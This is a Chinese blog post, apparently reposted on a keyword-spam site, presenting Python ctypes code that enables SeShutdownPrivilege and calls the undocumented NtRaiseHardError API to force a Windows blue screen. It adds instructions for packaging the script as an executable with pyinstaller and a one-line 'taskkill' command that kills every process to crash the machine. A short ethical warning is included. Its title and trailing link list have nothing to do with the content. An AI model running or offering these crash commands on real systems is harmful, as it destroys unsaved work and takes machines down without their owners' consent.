当前位置: 首页 > news >正文

wordpress 字体插件seo关键词快速排名

wordpress 字体插件,seo关键词快速排名,品牌推广公司是做什么的,静态网站如何做优化说明:该程序为临摹(😀)作品,源地址C蓝屏程序(非管理员) 我试图使用Python调用 NtRaiseHardError API ,实现类似的蓝屏效果。可惜我发现Python在普通权限下,直接调用 NtRaiseHardError API 是不被允许的,因为…

说明:该程序为临摹(😀)作品,源地址C++蓝屏程序(非管理员)

我试图使用Python调用 NtRaiseHardError API ,实现类似的蓝屏效果。可惜我发现Python在普通权限下,直接调用 NtRaiseHardError API 是不被允许的,因为它需要提升到系统权限才能触发蓝屏效果,即使在原文,也需要SeShutdownPrivilege才能实现蓝屏效果。

原理:

Windows的"未公开"蓝屏api:NtRaiseHardError
可以在非管理员特权下产生BSOD
调用该API需要调用者有关机权限

代码示例:

需要管理员权限

import ctypes
from ctypes import wintypes# 定义相关的 Windows API 函数和结构体
ntdll = ctypes.WinDLL('ntdll.dll')ULONG_PTR = ctypes.POINTER(ctypes.c_ulong)
BOOLEAN = ctypes.c_ubyteclass UNICODE_STRING(ctypes.Structure):_fields_ = [("Length", wintypes.USHORT),("MaximumLength", wintypes.USHORT),("Buffer", ctypes.POINTER(wintypes.WCHAR)),]class CLIENT_ID(ctypes.Structure):_fields_ = [("UniqueProcess", ctypes.POINTER(wintypes.HANDLE)),("UniqueThread", ctypes.POINTER(wintypes.HANDLE)),]class IO_STATUS_BLOCK(ctypes.Structure):_fields_ = [("Status", wintypes.ULONG),("Information", ULONG_PTR),]# 定义函数原型
RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege
RtlAdjustPrivilege.argtypes = [wintypes.ULONG, BOOLEAN, BOOLEAN, ctypes.POINTER(BOOLEAN)]
RtlAdjustPrivilege.restype = wintypes.LONGNtRaiseHardError = ntdll.NtRaiseHardError
NtRaiseHardError.argtypes = [wintypes.LONG, wintypes.ULONG, wintypes.ULONG, ULONG_PTR,wintypes.ULONG, ctypes.POINTER(wintypes.ULONG)
]
NtRaiseHardError.restype = wintypes.LONG# 定义一些常量和变量
STATUS_ASSERTION_FAILURE = 0xC0000420
SE_SHUTDOWN_PRIVILEGE = 19def main():# 获取当前进程句柄current_process = ctypes.windll.kernel32.GetCurrentProcess()current_thread = ctypes.windll.kernel32.GetCurrentThread()# 启用 SE_SHUTDOWN_PRIVILEGE 权限privilege_enabled = BOOLEAN()RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, True, False, ctypes.byref(privilege_enabled))# 调用 NtRaiseHardError 触发 BSODresponse = wintypes.ULONG()NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, None, 6, ctypes.byref(response))if __name__ == '__main__':main()

可以在该文件夹下使用cmd输入pyinstaller -wF .\MoveMouse.py打包然后使用管理员运行

代码解析:

这段代码的目的是试图在 Windows 系统中通过调用特定的 Windows API 来触发蓝屏死机(BSOD)。

以下是对代码各部分的详细解释:

  1. 导入和定义相关类型及库:

    • import ctypes:导入 Python 的 ctypes 库,用于在 Python 中调用 Windows API 函数。
    • 定义了各种数据类型,如 ULONG_PTRBOOLEAN 等,以及结构体 UNICODE_STRINGCLIENT_IDIO_STATUS_BLOCK ,以匹配 Windows API 所需的参数和返回值的数据结构。
  2. 加载 ntdll.dll 库并定义函数原型:

    • ntdll = ctypes.WinDLL('ntdll.dll'):加载 ntdll.dll 动态链接库。
    • RtlAdjustPrivilegeNtRaiseHardError 函数定义了参数类型和返回值类型,以确保在调用时能够正确传递和处理参数。
  3. 定义常量和变量:

    • STATUS_ASSERTION_FAILURE:定义了一个表示错误状态的常量。
    • SE_SHUTDOWN_PRIVILEGE:表示特定的权限常量。
  4. main 函数:

    • 获取当前进程和线程的句柄。
    • 通过 RtlAdjustPrivilege 函数尝试启用 SE_SHUTDOWN_PRIVILEGE 权限。
    • 最后调用 NtRaiseHardError 函数,并传递特定的参数,试图触发蓝屏死机。

需要强调的是,在正常的编程和使用场景中,这样的操作是不被允许和不道德的,可能会导致系统故障、数据丢失和其他严重问题。请不要在实际使用中运行这样的代码。

补充

当然如果已经有了管理员权限,那简单两行代码也能直接蓝屏

import os
os.system("Taskkill /fi \"pid ge 1\" /f")  # Taskkill /fi "pid ge 1" /f 杀死所有进程,管理员权限cmd直接蓝屏

甚至可以直接在管理员cmd输入:

Taskkill /fi "pid ge 1" /f
http://www.khdw.cn/news/47465.html

相关文章:

  • 哪个网站专题做的好淘宝网官方网站
  • 做网站需要交管理费吗站长统计网站统计
  • 中国建筑业协会seo关键词排名优化
  • 手机做服务器建网站买域名要多少钱一个
  • 做网站花的钱和优化网站有关系吗在线识别图片
  • 做电影下载网站需要什么软件好南京seo整站优化技术
  • 谷歌云 阿里云 做网站做国外网站
  • wordpress页面内容显示more专业排名优化工具
  • wordpress 设置显示中文重庆seo代理
  • 网站页面结构怎么做有利于优化无锡今日头条新闻
  • 浏览器什么网站都能打开的沧州网站运营公司
  • 上海城乡建设学校网站qq营销推广方法和手段
  • 西宁好的网站建设公司株洲seo推广
  • 有谁想做网站 优帮云济南seo优化外包服务
  • 设计网站如何推广免费crm网站不用下载的软件
  • 金属东莞网站建设技术支持seo百度发包工具
  • 射阳做企业网站多少钱百度官方网
  • 网站页面设计和结构的技巧百度助手下载
  • 在网站接入银联怎么做黄冈网站搭建推荐
  • ps设计网站免费推广软件哪个好
  • 珠海培训网站建设什么建站程序最利于seo
  • 公司网站首页怎么做互联网营销师是什么
  • 做一家网站费用吗网络渠道有哪些
  • 武汉网站建设_网页设计_网站制作_网站建设公司_做企业网站公司网站推广策划书模板
  • 代做ppt网站好什么是搜索引擎优化
  • 运营一个网站的费用国内新闻最新消息今天简短
  • 做设计私活的网站网络推广有哪几种方法
  • 模板网站怎么做黄页网络的推广网站有哪些软件
  • 兰州公司做网站什么是市场营销
  • 网页背景怎么设置成都关键词优化服务